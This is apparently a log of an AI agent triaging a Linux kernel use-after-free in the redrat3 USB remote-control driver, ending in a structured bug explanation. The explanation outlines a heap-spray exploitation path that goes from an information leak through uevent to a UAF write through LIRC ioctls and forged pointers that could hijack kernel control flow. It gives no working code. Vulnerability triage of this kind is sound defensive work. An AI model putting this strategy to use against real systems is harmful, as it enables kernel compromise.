This is immediately exploitable. We're talking about pointers to `struct usb_device`, and subsequent calls to `usb_sndbulkpipe` and `usb_bulk_msg` will dereference these controlled pointers. The attacker can craft a malicious `struct usb_device` to achieve memory corruption or arbitrary code execution β that's a slam dunk. Definitely exploitable.
Now, accessibility. This bug stems from a use-after-free in the `redrat3_dev_probe` error path triggered by a malicious USB device. The question is, can a typical user, without root privileges, trigger this? Plugging in a USB device normally requires physical access, which isn't generally feasible for an unprivileged user. USB/IP or raw-gadget methods require root, so no go there either.
Ah, but if the device is *already* plugged in, and the user just reads the `uevent` file? The code path might change, but remember that even with a failed probe, the `rc` device is registered. Unprivileged users can indeed read `/sys/class/rc/rc0/uevent`, and this *triggers* the UAF read! The UAF creation is still tied to the physical plugging, which is still a barrier for unprivileged users. However, in practice, a UAF read is not as dangerous as a UAF write.
The issue is that "Accessible From Unprivileged Processes" usually implies the *entire* bug can be triggered. Since we're dealing with a physical USB device, it's inherently a "Peripheral Trigger." So, the answer to that question is *no* because the key is physical access. Same for User Namespaces and Virtual Machine Guests (typically).
However, in a Confidential Computing context, the *host* machine in a virtualized environment *could* emulate a malicious USB device and connect it to the guest. So it's a "VM Host Trigger".
Denial of Service (DoS)? Absolutely. The memory corruption caused by the UAF can lead to kernel crashes, particularly if the `uevent` file or the `rc` device ioctls are accessed.
So, let's solidify the conclusion:
* **Exploitable: Yes.** UAF of a 2048-byte object where attacker-controlled data overwrites the freed object, and is subsequently used. The `uevent` read leaks memory, and ioctls allow arbitrary read/write, potentially leading to control flow hijack.
* **DoS: Yes.** Kernel crashes are a likely outcome.
* **Accessible From Unprivileged Processes: No.** While the UAF read is accessible, the UAF creation requires plugging in a USB device.
* **Accessible From User Namespaces: No.** Same reason.
* **VM Guest Trigger: No.** Limited by typical VM USB constraints.
* **VM Host Trigger in The Confidential Computing Context: Yes.**
* **Peripheral Trigger: Yes.**
* **Other Remote Trigger, Ethernet Network Trigger, Malicious Filesystem Trigger: No.**
Now, let's revisit that `redrat3_enable_detector` function. It seems it requires the USB device to respond in a very specific way to trigger the error path. So that too requires a malicious device.
|
| 31/2 |
2026/08/09 09:09 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:true]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:true RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:true]
|
| 32/2 |
2026/08/09 09:09 |
llm |
expert |
0m
Model:
Tokens:
input: 38305
output: 710
thoughts: 422
Thoughts: **Finalizing the Response: A Critical Use-After-Free in the `redrat3` Driver**
Okay, the results are in, and it's time to craft the final response. My analysis perfectly aligns with the details provided. Here's what I've distilled:
We've got a classic, nasty use-after-free vulnerability lurking in the `redrat3` driver. The core of the problem lies in `redrat3_dev_probe`. The driver allocates a `struct redrat3_dev` (`rr3`) and sets up an `rc` device. It registers this `rc` device, making it accessible to userspace. Then, it attempts to enable a detector. If *that* operation fails β say, a rogue USB device throws a wrench in the works β we hit the error handling path. The `rr3` object is freed through `redrat3_delete`. The crux of the issue? The `rc` device *isn't* unregistered before this happens.
This leaves the `rc` device still registered, still exposed to userspace, but now pointing its internal pointers (`priv`, `device_name`) to a memory region that's been freed. It's a ticking time bomb!
Here's how an attacker can trigger this vulnerability: a physical access scenario is implied, where a malicious USB device triggers the error path. Once this vulnerable state is achieved, they can then play a dangerous game with the `kmalloc-2k` cache. They can spray the cache to overwrite the freed `rr3` object. By reading the `uevent` file of the `rc` device, they can trigger a read of `dev->device_name` in `rc_dev_uevent`. This leads to a read from the sprayed memory, which will leak the sprinkled data.
And it gets worse. Opening the `lirc` device and calling ioctls like `LIRC_SET_SEND_CARRIER` allows a write to the freed object! `LIRC_TX` then attempts to dereference pointers (like `udev`, `ep_out`) from the freed object, which allows arbitrary memory corruption, potentially leading to a full control-flow hijack. This is a very serious bug. Time to properly format the findings and write a clear, concise report.
|
| 33/1 |
2026/08/09 09:09 |
action |
format-explanation |
0m
Results: map[Explanation:**Bug Analysis:**
The bug is a Use-After-Free (UAF) in the `redrat3` driver
(drivers/media/rc/redrat3.c).
During the initialization of the device in `redrat3_dev_probe()`, the driver
allocates a `struct redrat3_dev` object (`rr3`) and initializes an RC (Remote
Control) device by calling `redrat3_init_rc_dev(rr3)`. This function
successfully registers the RC device with the kernel via
`rc_register_device(rc)`.
Following this, the probe function calls `redrat3_enable_detector(rr3)`. If this
function fails (which can happen if a malicious USB device returns an unexpected
status to a control message), the probe function jumps to the error handling
path (`led_free` -> `redrat_free`). The error path frees the `rr3` object via
`redrat3_delete(rr3, ...)`.
However, the error path completely misses unregistering the previously
registered RC device (`rc_unregister_device()` is not called). The RC device is
left registered and exposed to userspace, but its `priv` pointer and
`device_name` pointer still point to the now-freed `rr3` object.
When a userspace process (like `udevd`) reads the `uevent` file of the leaked RC
device, `rc_dev_uevent()` reads `dev->device_name`, triggering a UAF read.
**Exploitability:**
This bug is highly **Exploitable**.
The freed `struct redrat3_dev` object is allocated in the `kmalloc-2k` cache. An
attacker can spray this cache to overwrite the freed object with controlled
data.
1. **Information Leak:** Reading the `uevent` file of the RC device will output
the contents of the `name` field from the sprayed object, allowing the attacker
to leak up to 2048 bytes of kernel memory.
2. **Memory Corruption / Privilege Escalation:** The leaked RC device is fully
functional. An attacker can open the corresponding `/dev/lircX` node and issue
ioctls. For example, calling `LIRC_SET_SEND_CARRIER` will write a 32-bit
controlled value to `rr3->carrier` (a UAF write). Calling `LIRC_TX` will invoke
`redrat3_transmit_ir()`, which dereferences pointers like `rr3->udev` and
`rr3->ep_out` from the freed object. By forging these pointers in the sprayed
object, an attacker can achieve arbitrary memory read/write and hijack the
kernel control flow.
**Triggering:**
Triggering the bug requires plugging in a malicious USB device that
intentionally fails the `redrat3_enable_detector()` check.
- It is a **Peripheral Trigger** because it requires a physical USB device.
- It is **NOT Accessible From Unprivileged Processes** or **User Namespaces**
because unprivileged users cannot emulate or plug in USB devices (which requires
physical access or root privileges to use raw-gadget/vhci).
- It is a **VM Host Trigger** because a malicious KVM host can emulate and
attach this USB device to a Confidential Computing guest to compromise the guest
kernel.]
|